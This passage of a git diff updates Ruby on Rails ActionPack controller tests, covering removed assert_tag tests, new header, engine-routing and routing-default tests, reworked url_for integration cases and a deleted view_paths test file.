- assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
- end
-
- def test_assert_tag_descendant
- process :test_html_output
-
- # there is a tag with a descendant 'li' tag
- assert_tag :descendant => { :tag => "li" }
- # there is no tag with a descendant 'html' tag
- assert_no_tag :descendant => { :tag => "html" }
- end
-
- def test_assert_tag_sibling
- process :test_html_output
-
- # there is a tag with a sibling of class 'item'
- assert_tag :sibling => { :attributes => { :class => "item" } }
- # there is no tag with a sibling 'ul' tag
- assert_no_tag :sibling => { :tag => "ul" }
- end
-
- def test_assert_tag_after
- process :test_html_output
-
- # there is a tag following a sibling 'div' tag
- assert_tag :after => { :tag => "div" }
- # there is no tag following a sibling tag with id 'bar'
- assert_no_tag :after => { :attributes => { :id => "bar" } }
- end
-
- def test_assert_tag_before
- process :test_html_output
-
- # there is a tag preceding a tag with id 'bar'
- assert_tag :before => { :attributes => { :id => "bar" } }
- # there is no tag preceding a 'form' tag
- assert_no_tag :before => { :tag => "form" }
- end
-
- def test_assert_tag_children_count
- process :test_html_output
-
- # there is a tag with 2 children
- assert_tag :children => { :count => 2 }
- # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
- assert_tag :tag => 'ul', :children => { :count => 2 }
- # there is no tag with 4 children
- assert_no_tag :children => { :count => 4 }
- end
-
- def test_assert_tag_children_less_than
- process :test_html_output
-
- # there is a tag with less than 5 children
- assert_tag :children => { :less_than => 5 }
- # there is no 'ul' tag with less than 2 children
- assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
- end
-
- def test_assert_tag_children_greater_than
- process :test_html_output
-
- # there is a 'body' tag with more than 1 children
- assert_tag :children => { :greater_than => 1 }, :tag => "body"
- # there is no tag with more than 10 children
- assert_no_tag :children => { :greater_than => 10 }
- end
-
- def test_assert_tag_children_only
- process :test_html_output
-
- # there is a tag containing only one child with an id of 'foo'
- assert_tag :children => { :count => 1,
- :only => { :attributes => { :id => "foo" } } }
- # there is no tag containing only one 'li' child
- assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
- end
-
- def test_assert_tag_content
- process :test_html_output
-
- # the output contains the string "Name"
- assert_tag :content => /Name/
- # the output does not contain the string "test"
- assert_no_tag :content => /test/
- end
-
- def test_assert_tag_multiple
- process :test_html_output
-
- # there is a 'div', id='bar', with an immediate child whose 'action'
- # attribute matches the regexp /somewhere/.
- assert_tag :tag => "div", :attributes => { :id => "bar" },
- :child => { :attributes => { :action => /somewhere/ } }
-
- # there is no 'div', id='foo', with a 'ul' child with more than
- # 2 "li" children.
- assert_no_tag :tag => "div", :attributes => { :id => "foo" },
- :child => {
- :tag => "ul",
- :children => { :greater_than => 2,
- :only => { :tag => "li" } } }
- end
-
- def test_assert_tag_children_without_content
- process :test_html_output
-
- # there is a form tag with an 'input' child which is a self closing tag
- assert_tag :tag => "form",
- :children => { :count => 1,
- :only => { :tag => "input" } }
-
- # the body tag has an 'a' child which in turn has an 'img' child
- assert_tag :tag => "body",
- :children => { :count => 1,
- :only => { :tag => "a",
- :children => { :count => 1,
- :only => { :tag => "img" } } } }
- end
-
def test_should_not_impose_childless_html_tags_in_xml
process :test_xml_output
@@ -513,23 +389,6 @@ XML
assert err.empty?
end
- def test_assert_tag_attribute_matching
- @response.body = '<input type="text" name="my_name">'
- assert_tag :tag => 'input',
- :attributes => { :name => /my/, :type => 'text' }
- assert_no_tag :tag => 'input',
- :attributes => { :name => 'my', :type => 'text' }
- assert_no_tag :tag => 'input',
- :attributes => { :name => /^my$/, :type => 'text' }
- end
-
- def test_assert_tag_content_matching
- @response.body = "<p>hello world</p>"
- assert_tag :tag => "p", :content => "hello world"
- assert_tag :tag => "p", :content => /hello/
- assert_no_tag :tag => "p", :content => "hello"
- end
-
def test_assert_generates
assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
@@ -626,9 +485,27 @@ XML
assert_equal 2004, page[:year]
end
+ test "set additional HTTP headers" do
+ @request.headers['Referer'] = "http://nohost.com/home"
+ @request.headers['Content-Type'] = "application/rss+xml"
+ get :test_headers
+ parsed_env = ActiveSupport::JSON.decode(@response.body)
+ assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
+ assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
+ end
+
+ test "set additional env variables" do
+ @request.headers['HTTP_REFERER'] = "http://example.com/about"
+ @request.headers['CONTENT_TYPE'] = "application/json"
+ get :test_headers
+ parsed_env = ActiveSupport::JSON.decode(@response.body)
+ assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
+ assert_equal "application/json", parsed_env["CONTENT_TYPE"]
+ end
+
def test_id_converted_to_string
get :test_params, :id => 20, :foo => Object.new
- assert_kind_of String, @request.path_parameters['id']
+ assert_kind_of String, @request.path_parameters[:id]
end
def test_array_path_parameter_handled_properly
@@ -639,17 +516,29 @@ XML
end
get :test_params, :path => ['hello', 'world']
- assert_equal ['hello', 'world'], @request.path_parameters['path']
- assert_equal 'hello/world', @request.path_parameters['path'].to_param
+ assert_equal ['hello', 'world'], @request.path_parameters[:path]
+ assert_equal 'hello/world', @request.path_parameters[:path].to_param
+ end
+ end
+
+ def test_use_route
+ with_routing do |set|
+ set.draw do
+ get 'via_unnamed_route', to: 'test_case_test/test#test_uri'
+ get 'via_named_route', as: :a_named_route, to: 'test_case_test/test#test_uri'
+ end
+
+ assert_deprecated { get :test_uri, use_route: :a_named_route }
+ assert_equal '/via_named_route', @response.body
end
end
def test_assert_realistic_path_parameters
get :test_params, :id => 20, :foo => Object.new
- # All elements of path_parameters should use string keys
- @request.path_parameters.keys.each do |key|
- assert_kind_of String, key
+ # All elements of path_parameters should use Symbol keys
+ @request.path_parameters.each_key do |key|
+ assert_kind_of Symbol, key
end
end
@@ -679,6 +568,7 @@ XML
def test_header_properly_reset_after_remote_http_request
xhr :get, :test_params
assert_nil @request.env['HTTP_X_REQUESTED_WITH']
+ assert_nil @request.env['HTTP_ACCEPT']
end
def test_header_properly_reset_after_get_request
@@ -687,20 +577,28 @@ XML
assert_nil @request.instance_variable_get("@request_method")
end
- def test_params_reset_after_post_request
+ def test_params_reset_between_post_requests
post :no_op, :foo => "bar"
assert_equal "bar", @request.params[:foo]
- @request.recycle!
+
post :no_op
- assert_blank @request.params[:foo]
+ assert @request.params[:foo].blank?
end
- def test_symbolized_path_params_reset_after_request
+ def test_filtered_parameters_reset_between_requests
+ get :no_op, :foo => "bar"
+ assert_equal "bar", @request.filtered_parameters[:foo]
+
+ get :no_op, :foo => "baz"
+ assert_equal "baz", @request.filtered_parameters[:foo]
+ end
+
+ def test_path_params_reset_between_request
get :test_params, :id => "foo"
- assert_equal "foo", @request.symbolized_path_parameters[:id]
- @request.recycle!
+ assert_equal "foo", @request.path_parameters[:id]
+
get :test_params
- assert_nil @request.symbolized_path_parameters[:id]
+ assert_nil @request.path_parameters[:id]
end
def test_request_protocol_is_reset_after_request
@@ -856,6 +754,57 @@ XML
end
end
+module EngineControllerTests
+ class Engine < ::Rails::Engine
+ isolate_namespace EngineControllerTests
+
+ routes.draw do
+ get '/' => 'bar#index'
+ end
+ end
+
+ class BarController < ActionController::Base
+ def index
+ render :text => 'bar'
+ end
+ end
+
+ class BarControllerTest < ActionController::TestCase
+ tests BarController
+
+ def test_engine_controller_route
+ get :index
+ assert_equal @response.body, 'bar'
+ end
+ end
+
+ class BarControllerTestWithExplicitRouteSet < ActionController::TestCase
+ tests BarController
+
+ def setup
+ @routes = Engine.routes
+ end
+
+ def test_engine_controller_route
+ get :index
+ assert_equal @response.body, 'bar'
+ end
+ end
+
+ class BarControllerTestWithHostApplicationRouteSet < ActionController::TestCase
+ tests BarController
+
+ def test_use_route
+ with_routing do |set|
+ set.draw { mount Engine => '/foo' }
+
+ assert_deprecated { get :index, use_route: :foo }
+ assert_equal @response.body, 'bar'
+ end
+ end
+ end
+end
+
class InferringClassNameTest < ActionController::TestCase
def test_determine_controller_class
assert_equal ContentController, determine_class("ContentControllerTest")
@@ -931,3 +880,34 @@ class AnonymousControllerTest < ActionController::TestCase
assert_equal 'anonymous', @response.body
end
end
+
+class RoutingDefaultsTest < ActionController::TestCase
+ def setup
+ @controller = Class.new(ActionController::Base) do
+ def post
+ render :text => request.fullpath
+ end
+
+ def project
+ render :text => request.fullpath
+ end
+ end.new
+
+ @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+ r.draw do
+ get '/posts/:id', :to => 'anonymous#post', :bucket_type => 'post'
+ get '/projects/:id', :to => 'anonymous#project', :defaults => { :bucket_type => 'project' }
+ end
+ end
+ end
+
+ def test_route_option_can_be_passed_via_process
+ get :post, :id => 1, :bucket_type => 'post'
+ assert_equal '/posts/1', @response.body
+ end
+
+ def test_route_default_is_not_required_for_building_request_uri
+ get :project, :id => 2
+ assert_equal '/projects/2', @response.body
+ end
+end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
index 6c2311e7a5..24a09222b1 100644
--- a/actionpack/test/controller/url_for_integration_test.rb
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -6,6 +6,7 @@ require 'active_support/core_ext/object/with_options'
module ActionPack
class URLForIntegrationTest < ActiveSupport::TestCase
include RoutingTestHelpers
+ include ActionDispatch::RoutingVerbs
Model = Struct.new(:to_param)
@@ -61,8 +62,11 @@ module ActionPack
root :to => "news#index"
}
+ attr_reader :routes
+ attr_accessor :controller
+
def setup
- @routes = ActionDispatch::Routing::RouteSet.new
+ @routes = make_set false
@routes.draw(&Mapping)
end
@@ -70,9 +74,9 @@ module ActionPack
['/admin/users',[ { :use_route => 'admin_users' }]],
['/admin/users',[ { :controller => 'admin/users' }]],
['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]],
- ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]],
- ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]],
- ['/people',[ { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]],
+ ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users', :action => 'index' }, '/admin/users']],
+ ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts', :action => 'show', :id => '1' }, '/admin/accounts/show/1']],
+ ['/people',[ { :controller => '/people', :action => 'index' }, {:controller=>"admin/accounts", :action=>"foo", :id=>"bar"}, '/admin/accounts/foo/bar']],
['/admin/posts',[ { :controller => 'admin/posts' }]],
['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]],
@@ -86,11 +90,11 @@ module ActionPack
['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]],
['/people',[ { :controller => 'people', :action => 'index' }]],
- ['/people',[ { :action => 'index' }, { :controller => 'people' }]],
- ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
- ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
- ['/people',[ {}, { :controller => 'people', :action => 'index' }]],
- ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'index' }, '/people']],
+ ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+ ['/people',[ {}, { :controller => 'people', :action => 'index' }, '/people']],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
['/people/new',[ { :use_route => 'new_person' }]],
['/people/new',[ { :controller => 'people', :action => 'new' }]],
['/people/1',[ { :use_route => 'person', :id => '1' }]],
@@ -98,11 +102,11 @@ module ActionPack
['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]],
['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]],
['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]],
- ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]],
- ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]],
- ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
- ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]],
- ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]],
+ ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }, '/people']],
+ ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+ ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }, '/people/show/1']],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }, '/people/index/1']],
['/people/1/edit',[ { :controller => 'people', :action => 'edit', :id => '1' }]],
['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]],
['/people/1/edit',[ { :use_route => 'edit_person', :id => '1' }]],
@@ -118,16 +122,15 @@ module ActionPack
['/project',[ { :controller => 'project', :action => 'index' }]],
['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]],
- ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]],
+ ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1', :controller => 'project', :action => 'index' }, '/projects/1']],
['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]],
- ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]],
+ ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :controller => 'project', :action => 'index', :project_id => '1' }, '/projects/1']],
['/clients',[ { :controller => 'projects', :action => 'index' }]],
['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]],
- ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]],
- ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+ ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1', :controller => 'project', :action => 'index' }, '/projects/1']],
- ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }]],
+ ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }, '/comments/show']],
['/comment/20',[ { :controller => 'comments', :id => 20, :action => 'show' }]],
['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]],
@@ -144,24 +147,21 @@ module ActionPack
['/notes',[ { :page_id => nil, :controller => 'notes' }]],
['/notes',[ { :controller => 'notes' }]],
['/notes/print',[ { :controller => 'notes', :action => 'print' }]],
- ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }]],
-
- ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
- ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]],
- ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
- ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]],
- ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]],
- ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }]],
- ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]],
- ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
- ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }, '/notes/print']],
+
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :action => 'index', :id => '1' }, '/notes/index/1']],
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+ ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+ ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1', :action => 'index' }, '/notes/index/1']],
+ ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
+ ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
+ ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }, '/notes/show/1']],
['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]],
['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]],
['/posts',[ { :controller => 'posts' }]],
['/posts',[ { :controller => 'posts', :action => 'index' }]],
- ['/posts',[ { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]],
- ['/posts/create',[ { :action => 'create' }, { :controller => 'posts' }]],
+ ['/posts/create',[ { :action => 'create' }, {:day=>nil, :month=>nil, :controller=>"posts", :action=>"show_date"}, '/blog']],
['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]],
['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]],
['/posts?page=2', [{ :controller => 'posts', :page => 2 }]],
@@ -169,9 +169,20 @@ module ActionPack
['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]],
].each_with_index do |(url, params), i|
- define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
- assert_equal url, url_for(@routes, *params), params.inspect
- end
+ if params.length > 1
+ hash, path_params, route = *params
+ hash[:only_path] = true
+
+ define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+ get URI('http://test.host' + route.to_s)
+ assert_equal path_params, controller.request.path_parameters
+ assert_equal url, controller.url_for(hash), params.inspect
+ end
+ else
+ define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+ assert_equal url, url_for(@routes, params.first), params.inspect
+ end
+ end
end
end
end
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index d3fc7128e9..0ffa2d2a03 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -2,7 +2,6 @@ require 'abstract_unit'
module AbstractController
module Testing
-
class UrlForTest < ActionController::TestCase
class W
include ActionDispatch::Routing::RouteSet.new.tap { |r| r.draw { get ':controller(/:action(/:id(.:format)))' } }.url_helpers
@@ -12,6 +11,25 @@ module AbstractController
W.default_url_options.clear
end
+ def test_nested_optional
+ klass = Class.new {
+ include ActionDispatch::Routing::RouteSet.new.tap { |r|
+ r.draw {
+ get "/foo/(:bar/(:baz))/:zot", :as => 'fun',
+ :controller => :articles,
+ :action => :index
+ }
+ }.url_helpers
+ self.default_url_options[:host] = 'example.com'
+ }
+
+ path = klass.new.fun_path({:controller => :articles,
+ :baz => "baz",
+ :zot => "zot"})
+ # :bar key isn't provided
+ assert_equal '/foo/zot', path
+ end
+
def add_host!
W.default_url_options[:host] = 'www.basecamphq.com'
end
@@ -36,6 +54,20 @@ module AbstractController
)
end
+ def test_nil_anchor
+ assert_equal(
+ '/c/a',
+ W.new.url_for(only_path: true, controller: 'c', action: 'a', anchor: nil)
+ )
+ end
+
+ def test_false_anchor
+ assert_equal(
+ '/c/a',
+ W.new.url_for(only_path: true, controller: 'c', action: 'a', anchor: false)
+ )
+ end
+
def test_anchor_should_call_to_param
assert_equal('/c/a#anchor',
W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anchor'))
@@ -76,7 +108,7 @@ module AbstractController
end
def test_subdomain_may_be_object
- model = mock(:to_param => 'api')
+ model = Class.new { def self.to_param; 'api'; end }
add_host!
assert_equal('http://api.basecamphq.com/c/a/i',
W.new.url_for(:subdomain => model, :controller => 'c', :action => 'a', :id => 'i')
@@ -90,6 +122,13 @@ module AbstractController
)
end
+ def test_subdomain_may_be_removed_with_blank_string
+ W.default_url_options[:host] = 'api.basecamphq.com'
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => '', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
def test_multiple_subdomains_may_be_removed
W.default_url_options[:host] = 'mobile.www.api.basecamphq.com'
assert_equal('http://basecamphq.com/c/a/i',
@@ -163,6 +202,18 @@ module AbstractController
)
end
+ def test_without_protocol_and_with_port
+ add_host!
+ add_port!
+
+ assert_equal('//www.basecamphq.com:3000/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => '//')
+ )
+ assert_equal('//www.basecamphq.com:3000/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => false)
+ )
+ end
+
def test_trailing_slash
add_host!
options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
@@ -193,14 +244,11 @@ module AbstractController
def test_trailing_slash_with_params
url = W.new.url_for(:trailing_slash => true, :only_path => true, :controller => 'cont', :action => 'act', :p1 => 'cafe', :p2 => 'link')
params = extract_params(url)
- assert_equal params[0], { :p1 => 'cafe' }.to_query
- assert_equal params[1], { :p2 => 'link' }.to_query
+ assert_equal({p1: 'cafe'}.to_query, params[0])
+ assert_equal({p2: 'link'}.to_query, params[1])
end
def test_relative_url_root_is_respected
- # ROUTES TODO: Tests should not have to pass :relative_url_root directly. This
- # should probably come from routes.
-
add_host!
assert_equal('https://www.basecamphq.com/subdir/c/a/i',
W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => '/subdir')
@@ -242,6 +290,13 @@ module AbstractController
end
end
+ def test_using_nil_script_name_properly_concats_with_original_script_name
+ add_host!
+ assert_equal('https://www.basecamphq.com/subdir/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => nil, :original_script_name => '/subdir')
+ )
+ end
+
def test_only_path
with_routing do |set|
set.draw do
@@ -252,12 +307,12 @@ module AbstractController
# We need to create a new class in order to install the new named route.
kls = Class.new { include set.url_helpers }
controller = kls.new
- assert controller.respond_to?(:home_url)
+ assert_respond_to controller, :home_url
assert_equal '/brave/new/world',
- controller.send(:url_for, :controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
+ controller.url_for(:controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
- assert_equal("/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'unused', :only_path => true))
- assert_equal("/home/sweet/home/alabama", controller.send(:home_path, 'alabama'))
+ assert_equal("/home/sweet/home/alabama", controller.home_path(:user => 'alabama', :host => 'unused'))
+ assert_equal("/home/sweet/home/alabama", controller.home_path('alabama'))
end
end
@@ -270,40 +325,40 @@ module AbstractController
def test_two_parameters
url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :p1 => 'X1', :p2 => 'Y2')
params = extract_params(url)
- assert_equal params[0], { :p1 => 'X1' }.to_query
- assert_equal params[1], { :p2 => 'Y2' }.to_query
+ assert_equal({p1: 'X1'}.to_query, params[0])
+ assert_equal({p2: 'Y2'}.to_query, params[1])
end
def test_hash_parameter
url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:name => 'Bob', :category => 'prof'})
params = extract_params(url)
- assert_equal params[0], { 'query[category]' => 'prof' }.to_query
- assert_equal params[1], { 'query[name]' => 'Bob' }.to_query
+ assert_equal({'query[category]' => 'prof'}.to_query, params[0])
+ assert_equal({'query[name]' => 'Bob'}.to_query, params[1])
end
def test_array_parameter
url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => ['Bob', 'prof'])
params = extract_params(url)
- assert_equal params[0], { 'query[]' => 'Bob' }.to_query
- assert_equal params[1], { 'query[]' => 'prof' }.to_query
+ assert_equal({'query[]' => 'Bob'}.to_query, params[0])
+ assert_equal({'query[]' => 'prof'}.to_query, params[1])
end
def test_hash_recursive_parameters
url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:person => {:name => 'Bob', :position => 'prof'}, :hobby => 'piercing'})
params = extract_params(url)
- assert_equal params[0], { 'query[hobby]' => 'piercing' }.to_query
- assert_equal params[1], { 'query[person][name]' => 'Bob' }.to_query
- assert_equal params[2], { 'query[person][position]' => 'prof' }.to_query
+ assert_equal({'query[hobby]' => 'piercing'}.to_query, params[0])
+ assert_equal({'query[person][name]' => 'Bob' }.to_query, params[1])
+ assert_equal({'query[person][position]' => 'prof' }.to_query, params[2])
end
def test_hash_recursive_and_array_parameters
url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => 101, :query => {:person => {:name => 'Bob', :position => ['prof', 'art director']}, :hobby => 'piercing'})
assert_match(%r(^/c/a/101), url)
params = extract_params(url)
- assert_equal params[0], { 'query[hobby]' => 'piercing' }.to_query
- assert_equal params[1], { 'query[person][name]' => 'Bob' }.to_query
- assert_equal params[2], { 'query[person][position][]' => 'art director' }.to_query
- assert_equal params[3], { 'query[person][position][]' => 'prof' }.to_query
+ assert_equal({'query[hobby]' => 'piercing' }.to_query, params[0])
+ assert_equal({'query[person][name]' => 'Bob' }.to_query, params[1])
+ assert_equal({'query[person][position][]' => 'art director'}.to_query, params[2])
+ assert_equal({'query[person][position][]' => 'prof' }.to_query, params[3])
end
def test_path_generation_for_symbol_parameter_keys
@@ -350,10 +405,10 @@ module AbstractController
def test_with_hash_with_indifferent_access
W.default_url_options[:controller] = 'd'
W.default_url_options[:only_path] = false
- assert_equal("/c", W.new.url_for(HashWithIndifferentAccess.new('controller' => 'c', 'only_path' => true)))
+ assert_equal("/c", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new('controller' => 'c', 'only_path' => true)))
W.default_url_options[:action] = 'b'
- assert_equal("/c/a", W.new.url_for(HashWithIndifferentAccess.new('controller' => 'c', 'action' => 'a', 'only_path' => true)))
+ assert_equal("/c/a", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new('controller' => 'c', 'action' => 'a', 'only_path' => true)))
end
def test_url_params_with_nil_to_param_are_not_in_url
@@ -364,6 +419,24 @@ module AbstractController
assert_equal("/c/a?show=false", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :show => false))
end
+ def test_url_generation_with_array_and_hash
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :posts
+ end
+ end
+
+ kls = Class.new { include set.url_helpers }
+ kls.default_url_options[:host] = 'www.basecamphq.com'
+
+ controller = kls.new
+ assert_equal("http://www.basecamphq.com/admin/posts/new?param=value",
+ controller.send(:url_for, [:new, :admin, :post, { param: 'value' }])
+ )
+ end
+ end
+
private
def extract_params(url)
url.split('?', 2).last.split('&').sort
diff --git a/actionpack/test/controller/view_paths_test.rb b/actionpack/test/controller/view_paths_test.rb
deleted file mode 100644
index c6e7a523b9..0000000000
--- a/actionpack/test/controller/view_paths_test.rb
+++ /dev/null
@@ -1,174 +0,0 @@
-require 'abstract_unit'
-
-class ViewLoadPathsTest < ActionController::TestCase
- class TestController < ActionController::Base
- def self.controller_path() "test" end
-
- before_action :add_view_path, only: :hello_world_at_request_time
-
- def hello_world() end
- def hello_world_at_request_time() render(:action => 'hello_world') end
-
- private
- def add_view_path
- prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
- end
- end
-
- module Test
- class SubController < ActionController::Base
- layout 'test/sub'
- def hello_world; render(:template => 'test/hello_world'); end
- end
- end
-
- def setup
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
- @controller = TestController.new
- @paths = TestController.view_paths
- end
-
- def teardown
- TestController.view_paths = @paths
- end
-
- def expand(array)
- array.map {|x| File.expand_path(x.to_s)}
- end
-
- def assert_paths(*paths)
- controller = paths.first.is_a?(Class) ? paths.shift : @controller
- assert_equal expand(paths), controller.view_paths.map { |p| p.to_s }
- end
-
- def test_template_load_path_was_set_correctly
- assert_paths FIXTURE_LOAD_PATH
- end
-
- def test_controller_appends_view_path_correctly
- @controller.append_view_path 'foo'
- assert_paths(FIXTURE_LOAD_PATH, "foo")
-
- @controller.append_view_path(%w(bar baz))
- assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz")
-
- @controller.append_view_path(FIXTURE_LOAD_PATH)
- assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH)
- end
-
- def test_controller_prepends_view_path_correctly
- @controller.prepend_view_path 'baz'
- assert_paths("baz", FIXTURE_LOAD_PATH)
-
- @controller.prepend_view_path(%w(foo bar))
- assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
-
- @controller.prepend_view_path(FIXTURE_LOAD_PATH)
- assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH
- end
-
- def test_template_appends_view_path_correctly
- @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
- class_view_paths = TestController.view_paths
-
- @controller.append_view_path 'foo'
- assert_paths FIXTURE_LOAD_PATH, "foo"
-
- @controller.append_view_path(%w(bar baz))
- assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz"
- assert_paths TestController, *class_view_paths
- end
-
- def test_template_prepends_view_path_correctly
- @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
- class_view_paths = TestController.view_paths
-
- @controller.prepend_view_path 'baz'
- assert_paths "baz", FIXTURE_LOAD_PATH
-
